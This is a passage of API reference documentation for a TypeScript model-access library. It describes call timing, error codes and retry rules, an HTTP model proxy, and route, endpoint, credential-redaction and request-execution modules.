| `Retry`                                           | struct     | `{ type: "retry", attempt, code, delayMillis, elapsedMs?, httpStatus? }`: a bounded model-boundary retry, recorded so run reports can count transport recovery. `delayMillis` defaults to `0`. `elapsedMs` is how long the failed attempt ran and `httpStatus` the status that failed it, when the boundary that retried recorded them.                                                                                          |
| `FailedTry`                                       | struct     | `{ sentMs?, failedMs, code, httpStatus? }`: one HTTP try that failed and was tried again inside the call.                                                                                                                                                                                                                                                                                                                        |
| `Timing`                                          | struct     | Where one call's time went on the wire: `startedAt` in epoch milliseconds, then whole milliseconds from that start: `attempts`, `requestBytes`, `preparedMs`, `signedMs`, `sentMs`, `headersMs`, `firstEventMs`, `firstThinkingMs`, `firstOutputMs`, `lastOutputMs`, `completedMs`, `closedMs`, and `failedTries`. Every field is optional: a stage that was not observed is absent, never zero.                                 |
| `Settle`                                          | struct     | `{ type: "settle", stopReason, responseId?, servedTier?, timing?, sessionId?, itemIds? }`. Ends the stream and states why; a stream without one was interrupted. `servedTier` is the service tier the provider says served the call. `timing` is the call's `Timing`. `itemIds` carries stored provider reasoning items a continuation replays by reference; `sessionId` is the vendor session a wrapped CLI seat answered from. |
| `ModelEvent`                                      | union      | The tagged union of all of the above, with a constructor per member attached (for example `ModelEvent.TextStart({ type: "text-start", id })`) and `settledMessage` attached.                                                                                                                                                                                                                                                     |
| `settledMessage(events)`                          | destructor | Folds an iterable of events into `{ message: AssistantMessage, usage: Usage }`. No `settle` event means interruption, represented as `stopReason: "aborted"` rather than an exception. Partial tool-call argument text is preserved verbatim; validate arguments before executing a tool.                                                                                                                                        |

### Wire timing

`Route.toModel` and `Route.layer` time every call and put the reading on its
`settle` event as `timing`. Offsets are whole milliseconds from `startedAt`,
read on Effect's `Clock`, so a `TestClock` controls every value.

| Field             | The moment                                                                                                                                                  |
| ----------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `startedAt`       | The call started, in epoch milliseconds. Every offset below counts from here.                                                                               |
| `attempts`        | Not a moment: how many HTTP tries the call made, including the answered one.                                                                                |
| `requestBytes`    | Not a moment: the size of the request body.                                                                                                                 |
| `preparedMs`      | The request was validated and encoded to the bytes that are sent.                                                                                           |
| `signedMs`        | `Auth.sign` answered: the credential was resolved and the request signed. After a refresh, the second signature.                                            |
| `sentMs`          | The answered try's request was handed to the HTTP client. The client does not report the socket write, so the upload lies between this and `headersMs`.     |
| `headersMs`       | The response status and headers arrived.                                                                                                                    |
| `firstEventMs`    | The first framed provider event arrived, of any kind.                                                                                                       |
| `firstThinkingMs` | The first `thinking-start` or `thinking-delta` event. Absent when the call emitted none.                                                                    |
| `firstOutputMs`   | The first `text-delta` or `tool-call-delta` event. Absent when the call emitted none.                                                                       |
| `lastOutputMs`    | The last `text-delta` or `tool-call-delta` event. Absent when the call emitted none.                                                                        |
| `completedMs`     | The protocol settled: `response.completed` or `response.incomplete`, `message_stop`, or a Chat Completions `finish_reason`.                                 |
| `closedMs`        | The route stopped reading the response: at the protocol's terminal event, or at the end of the body. Absent on a settle read before that, see below.        |
| `failedTries`     | Each try that failed before the answered one: `sentMs`, `failedMs`, `code`, and `httpStatus` when a response carried one. Absent when the first try worked. |

A stage that was not observed is absent, never zero. A custom
`RequestExecutor` that does not call `onTry` leaves out `attempts`, `sentMs`,
and `failedTries`. Chat Completions settles on `finish_reason`, one chunk
before the usage chunk that ends the body, so that `settle` has no `closedMs`;
a provider that sends usage on the `finish_reason` chunk has one.

`Settle.servedTier` is the provider's own `service_tier`: the terminal
Response object on OpenAI Responses, the chunk field on Chat Completions, and
`usage.service_tier` on Anthropic Messages. OpenAI documents the response
value as the processing mode actually used, which may differ from the one
requested, so the `response.created` snapshot, sent before any output, is not
read. `servedTier` is absent when the provider names none.

The same reading reaches three other places:

- A call that fails carries it as `error.timing` on its `ModelError`, with the
  failed tries and how far the response got. Like `error.body` it is outside
  the schema and non-enumerable.
- The `flows/model/Route.stream` span ends when the response starts, so it
  carries the request's half as `smithers.model.attempts`,
  `smithers.model.request_bytes`, `smithers.model.prepared_ms`,
  `smithers.model.signed_ms`, `smithers.model.sent_ms`,
  `smithers.model.headers_ms`, and `smithers.model.failed_tries` (the failed
  tries' codes, in order). `Model.withGenAiSpan` puts every stage of the
  settle event's reading on the `chat` span under the same names, with
  `smithers.model.served_tier`.
- An injected `WireTrace.WireTrace` sink receives it (the
  `WireTrace.layerFileSystem(path)` layer appends JSON lines using the host
  filesystem). The default writes no files. The response record includes the reading; see
  [Troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/model/docs/troubleshooting.md#latency).

A `Model` that is not built from a route, such as a wrapped CLI, fills only
the stages it can observe.

## `WireTrace`

`WireTrace.WireTrace` is an optional diagnostic sink captured by `Route.toModel`
and `Route.layer` when the model is built. Its `write(record)` receives paired
request and response records without signed headers or message content. Errors
and defects produce only a content-free debug log. Cooperative writes have a
1,000 ms deadline; `writeTimeoutMs` overrides it with a finite positive budget.
Cancellation keeps the response record and may wait this budget for cleanup.

`WireTrace.layerFileSystem(path)` provides the sink through an injected Effect
`FileSystem`, with serialized JSONL appends. The host supplies that filesystem,
for example `NodeHost.NodeFileSystem.layer` from `@smthrs/platform-node`.
No sink means no files or ambient environment access. `SMITHERS_WIRE_TRACE`
is no longer read implicitly. See [Troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/model/docs/troubleshooting.md#prompt-cache)
for layer composition. Custom sinks must support interruption and must not block
JavaScript synchronously.

## `ModelError`

The provider-neutral failure vocabulary. Branch on `code`; provider message
text is not a contract and changes without notice.

`ModelError` is a `Schema.TaggedError` with tag `flows/model/ModelError` and
these fields:

| Field                | Type                    | Meaning                                                                                                                                                                                           |
| -------------------- | ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `code`               | `ModelErrorCode`        | The stable serialized field and the public error contract.                                                                                                                                        |
| `message`            | `string`                | Human-readable detail, already scrubbed of credentials.                                                                                                                                           |
| `path`               | `string?`               | A key path only (for example `messages[2].content[0].text`), never a value, because a request member may hold a credential or user content. Present when the package refused to send the request. |
| `retryAfterMillis`   | `number?`               | The wait the provider asked for, when it asked.                                                                                                                                                   |
| `resetAtEpochMillis` | `number?`               | The durable wake instant for a parked run.                                                                                                                                                        |
| `resetSource`        | `string?`               | Which header or body field supplied the reset instant.                                                                                                                                            |
| `quotaScope`         | `"model" \| "account"?` | Optional scope supplied by a protocol classifier. Model scope leaves sibling models eligible; account scope cools every model on the same route.                                                  |
| `providerCode`       | `string?`               | The provider's own error code.                                                                                                                                                                    |
| `requestId`          | `string?`               | The provider's request id, from the usual `x-request-id` family of headers. From a `ModelProxy` client, the request id both sides logged.                                                         |
| `httpStatus`         | `number?`               | The HTTP status, when a response was received.                                                                                                                                                    |

The failed provider response body is reachable as `error.body`, capped at
16 KiB, with `error.bodyTruncated` set when the cap bites. Both live outside
the error's schema and are non-enumerable, so a journal never copies a
provider body into run state. An error a route raised also carries
`error.timing`, the failed call's [wire timing](#wire-timing), the same way.

The codes and their retryability:

| Code                      | Meaning                                               | Retryable |
| ------------------------- | ----------------------------------------------------- | --------- |
| `invalid_request`         | The request is malformed for this provider.           | no        |
| `context_overflow`        | The request did not fit the model's context window.   | no        |
| `no_route`                | No model is configured.                               | no        |
| `authentication`          | The credential was rejected.                          | no        |
| `rate_limited`            | A transient limit.                                    | yes       |
| `quota_exceeded`          | The account has no usable balance or quota.           | no        |
| `out_of_credit`           | Hosted proxy credit is exhausted.                     | no        |
| `content_policy`          | The provider refused on safety grounds.               | no        |
| `provider_internal`       | The provider failed on its own side.                  | yes       |
| `transport`               | The connection failed.                                | yes       |
| `call_timeout`            | The caller's own wall-clock budget expired.           | yes       |
| `invalid_provider_output` | The provider sent something the protocol cannot read. | no        |
| `unknown`                 | Unclassified.                                         | no        |

The `retryable` getter computes from the code and `httpStatus`:
`quota_exceeded` is never retryable; `rate_limited`, `provider_internal`,
`transport`, and `call_timeout` are, as is any error with HTTP status 429 or
5xx. `call_timeout` describes what the caller did, not the provider: the
caller exceeded a wall-clock budget it declared and interrupted the request
itself, so nothing about the request's settlement is known.

| Export                                     | Kind           | Behavior                                                                                                                                                                                                                                                                                         |
| ------------------------------------------ | -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `ModelErrorCode`                           | schema         | The thirteen-literal code vocabulary above.                                                                                                                                                                                                                                                      |
| `ModelError`                               | error class    | As described above.                                                                                                                                                                                                                                                                              |
| `isContextOverflow(providerCode, message)` | refinement     | Whether a provider's own code and message describe a context overflow. Protocol adapters call it ahead of their generic bad-request branch.                                                                                                                                                      |
| `isQuotaExhausted(providerCode, message)`  | refinement     | Whether a provider's own code and message describe an exhausted account rather than a transient rate limit, so a durable consumer can park instead of retrying.                                                                                                                                  |
| `isTerminalRefusal(error)`                 | classification | Whether the normalized refusal requires intervention rather than a quota cooldown; shared with agent quota policy and failure actions.                                                                                                                                                           |
| `faults`                                   | constant       | The fault class of each code, which `@smthrs/flow`'s `Fault` reads for a `ModelError` and a `ModelProxy.Refusal` alike: limits are `wait`, `authentication`, `out_of_credit` and `content_policy` are `user`, `invalid_request` and `context_overflow` are `factory`, the rest are `dependency`. |

## `FailureCopy`

`describe(error, seat?)` walks wrapped causes for a typed `ModelError` or
`HarnessError` and returns `{ headline, fault, line, actions }`. `fault` is
[`Fault.of(error).class`](/docs/reference/api/flow/#fault), one of `user`, `wait`, `infra`,
`dependency`, `bug`, `factory`, and `policy`; actions are `resume`,
`switch-model`, `wait`, and `details`. A model seat supplies the provider name
for a limit, through `provider(seat)`: `OpenAI`, `Anthropic`, `Claude Code`,
`Kimi`, `Gemini`, `OpenRouter`, `Cerebras`, else `Model`. An account out of
quota or credit offers `switch-model` first. Unknown errors have a generic headline. Raw messages and stacks
belong in technical details, never in the headline. A bare string is never
read for a fault: the fault arrives typed. A `SeatUnresolved` anywhere on the
cause chain reads "Model sign-in required" with the host's own sign-in
instruction as the line, bounded to 240 characters. A `SeatUnrouted` (an
`auto` seat the router could not pick) reads "Model could not be chosen" and
offers `switch-model` first; its line says why: nothing to route to, the host's
own `unconfigured` message (bounded the same way), an interruption, or a
router that could not pick one. A cause that names what
happened better than its wrapper wins: frames spent without an answer, the
repeated-failure guard, and a person's rejection or silence on a human task
each read as themselves, not as a model call that failed.

`ModelError` registers its codes with `Fault`: `rate_limited` and
`quota_exceeded` are `wait`; `invalid_request` and
`context_overflow` are `factory`, because the agent built the request;
`authentication`, `content_policy` and `out_of_credit` are `user`; the rest are `dependency`.
`Evaluator.faults` is the same table for Jev's codes, shared by
`EvaluatorError` and `ClassifierError`.

## `ModelProxy`

A `Model` served over HTTP, and a `Model` that reads one served elsewhere. The
host runs `serve`, which owns the provider key and decides, per request, what
the model receives and which `Model` answers; a browser, Worker or CLI
provides `layerClient` and calls `model.stream(request)` as it would locally.
See [Proxy a model](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/model/docs/guides/proxy-a-model.md).

| Export                  | Kind        | Behavior                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| ----------------------- | ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `serve(options)`        | server      | `Effect<HttpServerResponse, never, HttpServerRequest \| R>`. Reads a `POST` JSON `ModelRequest` body, runs `options.prepare`, calls the `Model` it chose inside `Model.withGenAiSpan`, and streams NDJSON. Answers `405` to another method, `413` past `maxBodyBytes` (counted while reading), `400` to a body that is not a `ModelRequest`, a `Refusal`'s status, and `500` when `prepare` dies. Writes a blank keep-alive line each time the model runs `Model.Liveness`, at most one a second and none within a second of an event.                                                                                                   |
| `ServeOptions<R>`       | interface   | `prepare: (request, admission) => Effect<Prepared, Refusal, R>`, required; `maxBodyBytes?`, default `defaultMaxBodyBytes`; `attributes?`, labels added to every server-side metric and the log line (the proxy's own names win); `onEnd?: (end: End) => Effect<void, never, R>`, run once, uninterrupted, after an admitted request's model stream ends; the terminal line waits for it.                                                                                                                                                                                                                                                 |
| `Prepared`              | interface   | `{ request, model }`: the `ModelRequest` the model receives and the `Model` that answers it.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| `Admission`             | interface   | `{ requestId, invocationId, requestBytes }`, `prepare`'s second argument: the caller's id, the server's id for this call (the one `End` carries, so a host reserves spend under it in `prepare` and settles it in `onEnd`), and the body's size in bytes, at most `maxBodyBytes`.                                                                                                                                                                                                                                                                                                                                                        |
| `End`                   | interface   | `{ requestId, invocationId, outcome, modelId, usage, produced, errorCode?, httpStatus? }`; `invocationId` is the server's own id for the call, minted for every admitted request (key metering on it; the caller chooses `requestId` and may repeat it); `outcome` is `success`, `failed` or `interrupted`, and `usage` is the merged `usage` events (a `retry` starts it over). `produced` is whether the model sent any event but `usage` and `retry`. A `failed` call carries its `ModelError` code (`unknown` for any other failure) and, when its provider answered an HTTP error, that status. Never passed for a refused request. |
| `refusedCleanly(end)`   | function    | `boolean`: the call failed before producing output, `rate_limited` or with a provider 4xx status, so it spent nothing beyond the usage its provider reported. A host that reserved spend settles such a call to that usage, 0 when none. Any other failure, a transport failure or a 5xx included, may have spent tokens nobody reported.                                                                                                                                                                                                                                                                                                |
| `producesOutput(event)` | function    | `boolean`: whether a `ModelEvent` counts as output for `End.produced`, anything but `usage` and `retry`. For a host that runs a model in process and builds its own `End`.                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `failureOf(cause)`      | function    | `{ errorCode, httpStatus? }`: what a failed stream's cause gives `End`, its `ModelError` code (`unknown` for any other failure) and the provider's HTTP status when it had one.                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `Refusal`               | error class | Tag `flows/model/ModelProxyRefusal`. `status` (400 to 599) and `message` reach the client as written; `code?` is the client's `ModelError` code, chosen by the status when omitted. `modelErrorCode` is the code the client gets; its `ModelError.faults` class is the refusal's fault, so a `429` waits and a `401` asks the person.                                                                                                                                                                                                                                                                                                    |
| `makeClient(options)`   | client      | `Effect<Model, never, HttpClient>`. `stream` posts the encoded request with a fresh request id and trace context and decodes the lines. Runs `Model.Liveness` for every chunk of the body, a blank keep-alive line included, and decodes no event from a blank line. Interrupting it aborts the request.                                                                                                                                                                                                                                                                                                                                 |
| `layerClient(options)`  | client      | `Layer<Model, never, HttpClient>` from `makeClient`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `prepare(options)`      | client      | `(request) => Effect<Route.PreparedRequest, ModelError>`: the credential-free request `makeClient` sends, the URL and exact body bytes, for a durable step's `route`. `headers` and the request id stay out; a request that does not encode fails `invalid_request`.                                                                                                                                                                                                                                                                                                                                                                     |
| `ClientOptions`         | interface   | `url` (relative URLs resolve against the page), `headers?`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `Line`                  | schema      | One NDJSON line: a `ModelEvent`, `EndLine` or `ErrorLine`. A blank line between them is a keep-alive, not a `Line`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| `EndLine`               | schema      | `{"type":"end"}`, the terminal line of a clean stream.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `ErrorLine`             | schema      | `{"type":"error",code,message,retryAfterMillis?}`, the terminal line of a stream whose model failed after the headers. `message` is the code's fixed `FailureCopy` headline, never provider text.                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `ErrorBody`             | schema      | `{code,message,requestId}`, the body of every non-`200` answer.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| `requestIdHeader`       | constant    | `x-smithers-request-id`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| `contentType`           | constant    | `application/x-ndjson`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `defaultMaxBodyBytes`   | constant    | 1 MiB.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `requests`              | metric      | Counter `smithers_model_proxy_requests` by `side`, `outcome`, `status` (`0` with no response), and on the server the host's `attributes`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `duration`              | metric      | Histogram `smithers_model_proxy_duration_ms` by `side`, `outcome`, and on the server the host's `attributes`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `firstEvent`            | metric      | Histogram `smithers_model_proxy_first_event_ms` by `side`, and on the server the host's `attributes`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `tokens`                | metric      | Counter `smithers_model_tokens` by `type` (`input`, `output`), `model` and the host's `attributes`, from the final merged `usage` events; server only.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |

The client fails every stream with a `ModelError` carrying the request id as
`requestId`: an `ErrorLine` as its code, `retryAfterMillis` and message; an
error status as the `ErrorBody`'s code and message (or the status's code and
`The model host answered HTTP <status>.` for a body that is not one) with
`httpStatus`; an unreachable host, a broken body, or a body that ends before
its terminal line as `transport`; an undecodable line as
`invalid_provider_output`; and a request it cannot encode as
`invalid_request`, without sending it.

Each side ends each request with one span (`model.proxy.serve`,
`model.proxy.stream`), the metrics above, and one log line whose message is the
span name: Info for `success` and `interrupted`, Warn for `invalid` and
`refused`, Error for `failed`. The server's log line also carries the host's
`attributes`. The span carries `smithers.model.proxy.request_id`,
`smithers.model.proxy.outcome`, `http.response.status_code`, `error.type`,
`smithers.model.proxy.events`, `smithers.model.proxy.duration_ms` and
`smithers.model.proxy.first_event_ms`, and on the server
`gen_ai.request.model`, `gen_ai.provider.name` and
`smithers.model.proxy.request_bytes`. A failed span ends with a `ModelError`
rebuilt from the code alone. With no HTTP server span in context, the
`model.proxy.serve` span is a `server` span parented on the request's
`traceparent`. Prompt, response and provider text and credentials never reach
a span, metric or log line.

## `Route`

A resolved model route: an endpoint, a protocol, a framing, and the
credentials to authorize with.

| Export                                                                    | Kind        | Behavior                                                                                                                                                                                                                                                                                       |
| ------------------------------------------------------------------------- | ----------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Route`                                                                   | type        | `Config`: a configured, but not yet authenticated, protocol route.                                                                                                                                                                                                                             |
| `Config`                                                                  | interface   | `{ id, protocol, endpoint, auth, framing, headers? }`.                                                                                                                                                                                                                                         |
| `PreparedRequest`                                                         | interface   | `{ routeId, protocolId, method: "POST", url, publicHeaders, body, bodyText }`: the credential-free sealed-step view. `body` is a fresh `Uint8Array` per preparation; do not mutate it.                                                                                                         |
| `prepare(route, request)`                                                 | constructor | `Effect<PreparedRequest, ModelError>`. Validates the request against `ModelRequest`, lowers and validates the provider body, checks the public headers, and encodes canonical bytes, exactly once per call.                                                                                    |
| `make(config)`                                                            | constructor | Returns the config as a `Route`.                                                                                                                                                                                                                                                               |
| `toModel(config)`                                                         | constructor | `Effect<Model, never, RequestExecutor>`: builds the `Model` implementation from a composed route.                                                                                                                                                                                              |
| `layer(config)`                                                           | layer       | `Layer<Model, never, RequestExecutor>`: provides a configured route as the `Model` service.                                                                                                                                                                                                    |
| `anthropic({ apiKey, baseUrl? })`                                         | constructor | `Result<Route, ModelError>`. Sends `x-api-key` and `anthropic-version: 2023-06-01`. `baseUrl` defaults to `Endpoint.providerOrigins.anthropic`.                                                                                                                                                |
| `openai({ apiKey, baseUrl? })`                                            | constructor | `Result<Route, ModelError>`. Bearer auth against `api.openai.com`, or `baseUrl` when given.                                                                                                                                                                                                    |
| `openaiResponsesCompatible({ id, baseUrl, apiKey, headers? })`            | constructor | A route for a provider that serves the Responses API without OpenAI's native deferred-tool extensions; `supportsDeferred` is forced off. `baseUrl` is the origin and the constructor appends `/v1/responses`, so `https://openrouter.ai/api` becomes `https://openrouter.ai/api/v1/responses`. |
| `openaiChatCompatible({ id, baseUrl, path?, apiKey, structuredOutput? })` | constructor | A route for a Chat Completions provider. `path` defaults to `/v1/chat/completions`. `apiKey` may be a non-empty placeholder for a server that does not check it; `Auth.bearer` only rejects an empty credential.                                                                               |

Behavior the composition guarantees:

- **The credential boundary.** Credentials never enter a `PreparedRequest`:
  it carries the endpoint, the public headers, and the canonical body bytes
  that a sealed step keys on, and `Auth.sign` signs a copy of the headers as
  the request leaves. A route header whose name looks like a credential fails
  preparation with `invalid_request` and message `Route header <name> must be
  applied through Auth`.
- **One validation.** `prepare` validates the request once and every later
  step reads that snapshot, so mutating the request object while a call is in
  flight changes nothing about what is sent.
- **One auth refresh.** An `authentication` failure is terminal on both retry
  ladders. `Route.stream` prefers `Auth.refreshRejected(headers)`, passing the
  signed headers of the refused attempt, or falls back to `Auth.refresh`.
  Recovery re-signs and retries exactly once. Request-specific recovery can
  reuse a credential rotated while an older request was in flight; its
  headers stay out of diagnostics.
- **Typed stream failures.** A response stream that dies after the headers,
  and an oversized SSE event, both surface as `transport`. A frame the
  protocol's event schema cannot decode surfaces as `invalid_provider_output`
  with a `path` and no values. When the protocol declares a `terminal`
  predicate, the stream stops at the first matching event. When the upstream
  ends, the protocol's `onHalt` emits its final events, which is how
  unfinished tool calls flush.

Preparation failures are `invalid_request` with one of these messages:
`Model request failed Schema validation`, `<protocol id> produced an invalid
provider request body`, or `Model request could not be encoded as canonical
JSON`. Each carries `path` when the failing member is known.

## `Protocol`

The wire contract of a model API family, split from the deployment that
serves it.

| Export                                | Kind        | Behavior                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
| ------------------------------------- | ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Protocol<Body, Frame, Event, State>` | interface   | `{ id, supportsDeferred, body, stream, classifyError, headers?, affinityHeader? }`. `headers(request)`, when present, returns public headers derived from one request, merged over the route's static headers and sealed into the step key like the body. `affinityHeader`, when present, names a response header whose latest value the route echoes on later requests with the same route, endpoint, signed credential and `cacheKey`, so two accounts that share a `cacheKey` never see each other's value; it is applied at signing and never sealed. `supportsDeferred(modelId)` reports native deferred-tool support. `classifyError(status, body)` maps a failed HTTP response to a `ModelError`. |
| `ProtocolBody<Body>`                  | interface   | `schema`: the validating codec for the provider body. `from(request, { native })`: lowers a `ModelRequest` into that body, failing with `ModelError`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `ProtocolStream<Frame, Event, State>` | interface   | `event`: the framed event codec. `initial(request)`: the state a call starts with. `step(state, event)`: folds one decoded event into `[state, ModelEvent[]]`. Optional `onHalt(state)`: final events when the upstream ends. Optional `terminal(event)`: stop taking events after a match.                                                                                                                                                                                                                                                                                                                                                                                                              |
| `make(protocol)`                      | constructor | Returns the protocol value.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `jsonEvent(schema)`                   | schema      | The JSON-string event codec shared by the SSE protocols.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |

## `Endpoint`

The credential-free HTTP target of a model route. An endpoint is public data:
it is part of a sealed step's key material, so nothing secret may appear in
it.

| Export                                  | Kind        | Behavior                                                                                                                                                                         |
| --------------------------------------- | ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Endpoint`                              | interface   | `{ method: "POST", url, query }`.                                                                                                                                                |
| `MakeOptions`                           | interface   | `{ url, path?, query? }`; query is a record or an array of name/value pairs.                                                                                                     |
| `make(input)`                           | constructor | `Result<Endpoint, ModelError>`. Validates and normalizes: query pairs are sorted by name then value, and the path is joined onto the URL's existing path.                        |
| `makeSecure(input)`                     | constructor | Validates through `make`, then requires HTTPS for remote credential-bearing endpoints; loopback HTTP remains available.                                                          |
| `render(endpoint)`                      | formatting  | Renders the exact deterministic URL.                                                                                                                                             |
| `providerOrigins`                       | constant    | Origins of `anthropic`, `openai`, `cerebras`, `openrouter` (`https://openrouter.ai/api`), `vercel` and `chatgpt` (`https://chatgpt.com/backend-api`).                            |
| `ProxiedProvider`                       | type        | A key of `providerOrigins`.                                                                                                                                                      |
| `modelProxyVariable`                    | constant    | `"SMITHERS_MODEL_PROXY_URL"`.                                                                                                                                                    |
| `providerOrigin(provider, environment)` | getter      | `${SMITHERS_MODEL_PROXY_URL}/${provider}` (trailing slash stripped) when the variable is set and non-empty, else `providerOrigins[provider]`. Seat resolution routes through it. |

`Endpoint.makeSecure` validates targets for signed provider requests: remote
endpoints require HTTPS; HTTP is allowed only for localhost, IPv4 loopback
(127/8) and IPv6 loopback (::1). Provider constructors, custom route preparation
and the gateway evaluator use it before signing. `Endpoint.make` validates
public endpoint identity without imposing transport security; `ModelProxy.prepare`
keeps the caller's HTTP, HTTPS or relative URL and the same encoded payload.

`Endpoint.make` rejects, all as `invalid_request`: an unparseable URL, a
non-`http(s)` scheme, embedded URL credentials, a fragment, a
credential-shaped query key (anything `isCredentialName` matches, plus `key`
and `sig`), a path containing a query string or fragment, and a relative path
segment, including the `%2e`-encoded disguises the URL parser would otherwise
collapse.

## `Auth`

Credential handling for a model route. This is the redaction boundary:
credentials never enter the sealed step view, and signing never logs their
values.

| Export                    | Kind        | Behavior                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| ------------------------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `Auth`                    | interface   | `sign(headers)` returns the headers with the credential applied, failing with `ModelError`. Optional `refreshRejected(headers)` receives the refused attempt’s signed headers; optional `refresh` is the fallback effect. The route runs one recovery after an `authentication` failure, then re-signs and retries once. `sign` may hold rotating state, but every dependency is captured at construction; the type has no requirements channel. |
| `Redacted<A>`             | type        | Effect's `Redacted`: a value whose string and JSON representations conceal its contents.                                                                                                                                                                                                                                                                                                                                                         |
| `apiKeyHeader(name, key)` | constructor | Adds a redacted API key as an exact HTTP header.                                                                                                                                                                                                                                                                                                                                                                                                 |
| `bearer(key)`             | constructor | Adds a redacted API key as `Authorization: Bearer <key>`.                                                                                                                                                                                                                                                                                                                                                                                        |

Both constructors fail signing with `authentication` and message `API key
must not be empty` when the redacted value is empty. `credentialNamePattern`
is the shared matcher for credential-bearing field names across headers,
query parameters, and structured bodies; `isCredentialName(name)` applies it.
`chatgpt-account-id` matches on purpose: it names an account rather than a
secret, but it is an identity the ChatGPT route keeps out of step keys,
journals, and diagnostics. Numeric token-count fields such as `max_tokens`
and `budget_tokens` do not match, so a provider diagnostic quoting them stays
readable.

## `Framing`

Byte-stream framing, chosen independently of the protocol that interprets
the frames.

| Export           | Kind      | Behavior                                                                                                                                                                                                                                                                                                              |
| ---------------- | --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Framing<Frame>` | interface | `{ id, frame(stream) }`: turns a byte stream into frames.                                                                                                                                                                                                                                                             |
| `sse`            | framing   | Incrementally decodes UTF-8 Server-Sent Events over arbitrary byte chunk boundaries. Empty frames, the `[DONE]` sentinel, and incomplete trailing frames are discarded before protocol JSON decoding. SSE retry directives are connection-level metadata and are ignored; request execution owns reconnection policy. |
| `ndjson`         | framing   | One complete JSON document per line; blank lines are discarded. A stream cut mid-line yields that partial line as a frame, where protocol decoding rejects it as `invalid_provider_output`: a truncated record is a failure to report, not a record to silently drop.                                                 |

## `RequestExecutor`

Executes provider requests with bounded retries, quota classification, and
credential-safe diagnostics.

| Export                          | Kind                      | Behavior                                                                                                                                                                                                                                                                                                                                   |
| ------------------------------- | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `RequestExecutor`               | service interface and tag | `execute(request, options)` answers the response, failing with `RequestError`. It requires a `Scope`: the caller's scope owns the successful response body. Tag id `/model/RequestExecutor`.                                                                                                                                               |
| `ExecuteOptions`                | interface                 | `{ modelId, classifyError?, onTry? }`: the per-request policy the composed route supplies. Every request is wrapped in the kernel's `model:call` capability check for this `modelId`. `onTry` observes each HTTP try and cannot change what is sent or retried.                                                                            |
| `TryEvent`                      | type                      | What `onTry` is told, in epoch milliseconds on the executor's `Clock`: `{ type: "sent", at }` when a try's request is handed to the HTTP client, after any retry wait, and `{ type: "failed", sentAt, at, code, httpStatus? }` when one fails. The answered try reports `sent` alone.                                                      |
| `ErrorClassifier`               | type                      | `(status, body) => ModelError`: protocol-specific classification for a failed HTTP response.                                                                                                                                                                                                                                               |
| `RequestError`                  | type                      | `ModelError \| PermissionRequired \| PermissionDenied \| GrantStoreError`. Kernel permission failures keep their original classes across the model boundary.                                                                                                                                                                               |
| `Transport`                     | interface                 | `{ client, rebuild }`: the kernel HTTP client every request goes through, and the host's way of replacing it.                                                                                                                                                                                                                              |
| `fixed(client)`                 | constructor               | A transport whose rebuild answers the same client.                                                                                                                                                                                                                                                                                         |
| `rebuildAfter`                  | constant                  | `3`: how many consecutive transport failures replace the client. A destroyed connection pool is the failure waiting does not repair. Any success, and any non-transport failure, resets the counter, which is shared by every request on the executor.                                                                                     |
| `MakeOptions`                   | interface                 | `{ maxRetries? }`: retries after the first attempt. Defaults to `2`; `0` makes `execute` a single attempt. A negative count is `0`.                                                                                                                                                                                                        |
| `Retries`                       | reference                 | `Context.Reference<number \| undefined>`: the retries a caller allows each request, overriding the executor's `maxRetries`. `undefined`, the default, keeps the executor's; a negative count is `0`. A caller that decides retries itself provides `0`, as `ModelStep.run` in `@smthrs/agent` does, so one of its attempts is one request. |
